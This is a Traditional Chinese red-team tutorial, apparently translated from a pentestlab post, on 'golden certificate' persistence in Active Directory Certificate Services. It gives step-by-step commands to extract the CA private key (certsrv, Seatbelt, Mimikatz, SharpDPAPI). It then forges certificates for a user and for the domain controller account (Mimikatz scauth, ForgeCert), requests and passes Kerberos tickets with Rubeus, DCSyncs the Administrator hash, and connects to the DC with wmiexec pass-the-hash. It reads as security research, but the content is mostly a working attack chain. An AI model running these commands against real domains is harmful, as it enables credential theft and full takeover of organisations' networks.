利用黃金證書劫持域控
域控滲透最常見的域持久性技術之一是黃金票據攻擊,它涉及使用“ krbtgt ”的 NTLM 哈希創建 kerberos 票證。但是在部署了 Active Directory 認證服務 (AD CS) 的服務器的域中,可能會在發生入侵時被濫用以實現域持久性。通過竊取 CA 證書的私鑰,紅隊可以偽造和簽署證書以用于身份驗證。在部署 Active Directory 證書服務 (AD CS) 期間,域中默認啟用基于證書的身份驗證。因此,需要將這些系統視為第 0 層資產并得到適當保護。
通過黃金證書執行域持久化需要以下步驟:
- 證書提取 (CA)
- 偽造CA證書
- 獲取 Kerberos 票證(DC 的機器賬戶)
- 執行pass票證
證書提取
CA 證書和私鑰存儲在 CA 服務器中。使用與系統的 RDP 連接,可以使用“ certsrv.msc ”的備份功能檢索這些信息。

certsrv – 備份 CA
在證書頒發機構備份向導中,私鑰和 CA 證書都可以導出到指定位置。

certsrv – 私鑰和備份位置
CA 證書將導出為 p12 文件(個人信息交換)。

certsrv – 提取的 CA
但是,還有多種其他方法可用于從服務器提取 CA 證書和私鑰。使用參數“ Certificates ”執行Seatbelt可以枚舉存儲的CA證書。
Seatbelt.exe Certificates

Seatbelt – 本地機器
Mimikatz 還可以與加密存儲進行交互,以檢索和導出證書和私鑰。修補“ CryptoAPI ”和“ KeyIso ”不可導出的密鑰將可以從許多密鑰提供程序導出。
privilege::debug crypto::capi crypto::cng crypto::certificates /systemstore:local_machine /store:my /export

Mimikatz – 導出證書

Mimikatz - CA 證書
證書將以 .DER 和 .PFX 格式提取到磁盤上。

SharpDPAPI也可用于提取證書。執行“ certificates /machine ”命令將使用機器證書存儲來提取可解密的機器證書和私鑰。
SharpDPAPI.exe certificates /machine

SharpDPAPI – 機器證書
私鑰和證書都將顯示在控制臺中。

SharpDPAPI - CA 證書
提取的私鑰和證書可以寫入擴展名為 .PEM 的文件中。執行以下命令可以將證書轉換為可用格式,如 .PFX 允許用于使用 Rubeus 進行身份驗證。
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

將證書轉換為 PFX
偽造CA證書
Mimikatz 可用于通過使用“ crypto::scauth ”模塊來偽造和簽署證書。該模塊最初是為創建智能卡身份驗證客戶端證書而開發的。所需的參數是證書頒發機構的主題名稱和將創建證書的用戶的用戶主體名稱。可選項,“ /pfx ”參數可用于定義將要創建的證書的文件名。
crypto::scauth /caname:ca /upn:pentestlab@purple.lab

偽造CA證書——Mimikatz
或者,ForgeCert是由Lee Christensen在 C# 中開發的,它使紅隊能夠使用 CA 證書為任何域用戶偽造證書進行身份驗證。該工具可以注入內存中執行,并將文件寫入磁盤。執行以下命令將為“ pentestlab ”用戶創建一個假證書,該證書將由 CA 證書的私鑰簽名。
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName pentestlab@purple.lab --NewCertPath localadmin.pfx --NewCertPassword Password123

偽造CA證書-域用戶
應該注意的是,必須為域上的活動用戶創建證書。因此它不能用于“ krbtgt ”帳戶。偽造證書的有效期為1年,只要CA證書有效(一般為5年)就有效。除了域用戶帳戶外,機器帳戶也可用于域持久性,因為可以使用 DCSync、Pass the Ticket 和 S4U2Self 等技術。
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName DC$@purple.lab --NewCertPath DC$.pfx --NewCertPassword Password123

偽造證書-機臺賬
Kerberos 票證
可以使用偽造的證書從密鑰分發中心 (KDC) 請求 Kerberos 票證以進行身份驗證。
Rubeus.exe asktgt /user:pentestlab /certificate:localadmin.pfx /password:Password123


Rubeus – Kerberos 票證

Rubeus - 域用戶票
通過票證
可以從域中的任何主機使用屬于域控制器的機器帳戶的證書來請求 Kerberos 票證。執行以下命令將檢索 base64 格式的票證。
Rubeus.exe asktgt /user:DC$ /certificate:DC$.pfx /password:Password123

Rubeus - 請求 DC 機器帳戶的票證

DC 機器帳戶 Base64 票證
base64 票證可以被解碼并寫入擴展名為 .kirbi 的文件中。
echo "" | base64 -d > dc$.kirbi

將 Base64 票證轉換為 Kirby
票證可以傳輸到任何 Windows 主機,并使用傳遞票證技術導入任何用戶會話。
Rubeus.exe ptt /ticket:dc$.kirbi

Rubus – 通過票證
由于票據屬于域控制器的計算機帳戶,因此可以執行提升的活動,例如 DCSync。從當前執行 Mimikatz 并運行以下命令的會話中,將檢索作為域管理員帳戶的用戶 Administrator 的 NTLM 哈希。
lsadump::dcsync /user:Administrator

Mimikatz – DCSync
散列可用于通過散列技術或通過 WMI 連接建立對域控制器的訪問。
python3 wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 Administrator@10.0.0.1

WMI 連接 - 域控制器
參考鏈接
https://github.com/GhostPack/Seatbelt
https://github.com/GhostPack/SharpDPAPI
https://github.com/GhostPack/ForgeCert
https://pentestlab.blog/2021/11/15/golden-certificate/